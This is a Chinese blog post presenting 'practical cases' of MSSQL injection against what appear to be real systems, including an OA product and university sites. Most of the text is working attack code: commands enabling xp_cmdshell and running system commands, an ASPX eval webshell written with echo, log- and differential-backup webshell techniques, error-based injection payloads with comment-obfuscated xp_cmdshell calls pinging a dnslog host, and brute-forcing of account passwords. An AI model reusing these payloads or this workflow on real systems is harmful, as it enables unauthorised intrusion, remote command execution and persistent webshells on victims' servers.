美文网首页信安知识Hack
有人说SQL注入已经落后了,请问可以捶他吗!!

有人说SQL注入已经落后了,请问可以捶他吗!!

作者: 顶风作案7号 | 来源:发表于2021-07-12 17:58 被阅读0次
前言:

本次用4个有趣的实战案例来分别讲:
狠--常见getshell
快--快速报错注入
准--字符长度100限制下注入
绕--绕福某大学安全狗

虽然只有4个实战案例,但真的挺实用、通用哦,当然此次都是站在前辈肩膀上实践总结的可能还不够全,如有分析不足的地方望各位大佬指正!

狠--常见getshell:
实战一:这是一次挖到一个小OA系统的通用管理员弱口令,后台可以执行sql语句并且是sa权限,这运气没谁了哈哈
但可以去edu刷分的大部分目标xp_cmdshell却废了.只能恰个弱口令.......


你没有天线,我无法跟你解释

先说可以xp_cmdshell部分:

xp_cmdshell写shell技巧:
条件:sa权限,
常见问题:xp_cmdshell存储过程在 SQL Server 2005以后默认关闭,需要手动开启


image.png

开启方法

#开启方法
execute('sp_configure "show advanced options",1')  #将该选项的值设置为1
execute('reconfigure')                             #保存设置
execute('sp_configure "xp_cmdshell", 1')           #将xp_cmdshell的值设置为1
execute('reconfigure')                             #保存设置
execute('sp_configure')                            #查看配置
execute('xp_cmdshell "whoami"')                    #执行系统命令
或者
exec sp_configure 'show advanced options',1;
reconfigure;
exec sp_configure 'xp_cmdshell',1;
reconfigure;
exec sp_configure;
exec xp_cmdshell 'whoami';
exec master ..xp_cmdshell "ping dnslog"

上面执行开启命令后,执行一下 whoami ,system 权限,直接起飞!


image.png

写shell技巧:

先找网站根路径:
exec xp_cmdshell 'where /r d:\ *.aspx';

直接写入aspx文件同目录却访问不了,麻了!问了一下同事,他说:估计做了和springboot类似的路由映射,但静态文的目录可能不会走路由. 访问路径如下


image.png

故再找根路径下绝对静态可解析路径:

 exec xp_cmdshell 'where /r D:\OA *.jpg';
image.png

写shell,这里也需要注意一点,dos对尖括号<>会报错,所以需要用^转义一下,或者echo"一句话" > hack.aspx 用双引号

echo ^<^%@ Page Language="Jscript"%^>^<^%eval(Request.Item["y"],"unsafe");
%^>^ >d:\xx\xx.aspx

然后倚天大剑(蚁剑)连接http://x.x.x.x/login/login/xx.aspx即可.

其它gethell大全:

剩下不可以xp_cmdshell的,但其它大多getshell方法,都没法用

这些方法前提条件都是:SQL Server 2008不可用,SQL Server 2000可用
因为我这版本是SQL Server 2008不可用,吐了!!于是只好备份getshell

备份getshell:(至少DBO权限)

log备份(推荐):

优势:
1、重复性好,多次备份的成功率高
2、相对于差异备份而言,shell的体积较小
利用条件:
1、前提得知绝对路径,并且可写
2、站库不分离
3、数据库必须被备份过一次

;alter database 库名 set RECOVERY FULL-- 
;create table 数据库名..表名(a image)--     //建表
;insert into 数据库名..表名(a) values (0x一句话木马)--     //插入一句话木马到表中,注意16进制

;backup database 数据库名 to disk = 'c:\www\panda.bak'--          //先手动给数据库备份一遍

;backup log 数据库名 to disk = 'c:\www\panda.asp' with init-- //利用log备份到web路径getshell
差异备份的条件:

1、前提知道绝对路径,路径可写。
2、HTTP 500错误不是自定义
3、WEB和数据在一块。还有的就是数据库中不能存在%号之类的,不然也是不成功的。
4、数据量不能太大

;backup database 库名 to disk = 'c:\bak.bak' ;--    //先手动备份一次
;create table 数据库名..表名(a image)--     //建立表,加字段
;insert into 数据库名..表名(a) values (0x一句话木马)--     //插入一句话木马到表中,注意16进制
;backup database 库名 to disk = 'c:\shell.asp' with differential , format ;-- //进行差异备份
小结:

备份getshell这一般对php和asp有用,注意asp备份生成的文件经常有没有闭合的问题,但aspx我暂时没找到成功例子
我这是aspx的2种备份都试了,但因为备份后会插入多个shell如下


image.png

导致:<%@ Page Language=xx %>出现多次,报错:只能有一个page指令 试了闭合和其它方法不行

image.png
快--快速报错注入:
实战二:mssql报错注入很方便,但柯大佬也没完善总结,我试了几种方法,这里快速报错最快,且在之后的手工注入很实用:
image.png
注册一个账号但要审核,如上图消息里得到账号规律,对后4位数爆破,成功 00xxxxx 123456
然后登录后台,在某处发现sql注入:
Users/xx.ashx?ID=00') and 1=1 --+   //闭合成功
') and 1=convert(int,user_name()) --+  #查当前数据库用户,结果不是sa
1')/**/;/**/exec/**/master ..xp_cmdshell /**/"ping  xx.dnslog.cn"--#不死心,执行一下cmdshell

相关文章

  • 有人说SQL注入已经落后了,请问可以捶他吗!!

    前言: 本次用4个有趣的实战案例来分别讲:狠--常见getshell快--快速报错注入准--字符长度100限制下注...

  • Sql注入之sqlmap+dvwa实例演练

    相信很多同学都已经知道了什么是sql注入,也明白为什么会发生sql注入。也可以通过在输入框和url中“手工”注入,...

  • sql注入那些事儿——如何优雅地进行SQL注入(2)

    传送门:sql注入那些事儿——如何优雅地进行SQL注入(1) 如果有人问我,如果看了“sql注入那些事儿——如何优...

  • SQL注入

    1. SQL注入的概念 SQL注入是一种注入攻击,可以执行恶意SQL语句。它通过将任意SQL代码插入数据库查询,使...

  • 漏洞攻击

    1. SQL注入 SQL注入是一种注入攻击,可以执行恶意SQL语句。它通过将任意SQL代码插入数据库查询,使攻击者...

  • web常见漏洞的成因和修复

    1.SQL注入 漏洞描述:SQL 注入攻击( SQL Injection ),简称注入攻击、SQL 注入,主要用于...

  • [CISCN2019 华北赛区 Day2 Web1]Hack W

    题目已经告诉了是sql注入并且表名列名都是flag,尝试注入时发现很多字符和sql关键字都被过滤了,包括' ','...

  • 笔记:web漏洞

    SQL注入 SQL注入攻击(SQL Injection),简称注入攻击、SQL注入,被广泛用于非法获取网站控制权,...

  • 谈谈sql注入之原理和防护(-)

    谈谈sql注入(二)谈谈sql注入(三)谈谈sql注入(四)所谓SQL注入,就是通过把SQL命令插入到Web表单提...

  • 小迪16期-20170226

    第二天:Sql注入集锦篇 1.Sql注入之access注入 2.Sql注入之mysql注入 3.Sql注入之mss...

网友评论

    本文标题:有人说SQL注入已经落后了,请问可以捶他吗!!

    本文链接:https://www.haomeiwen.com/subject/titdpltx.html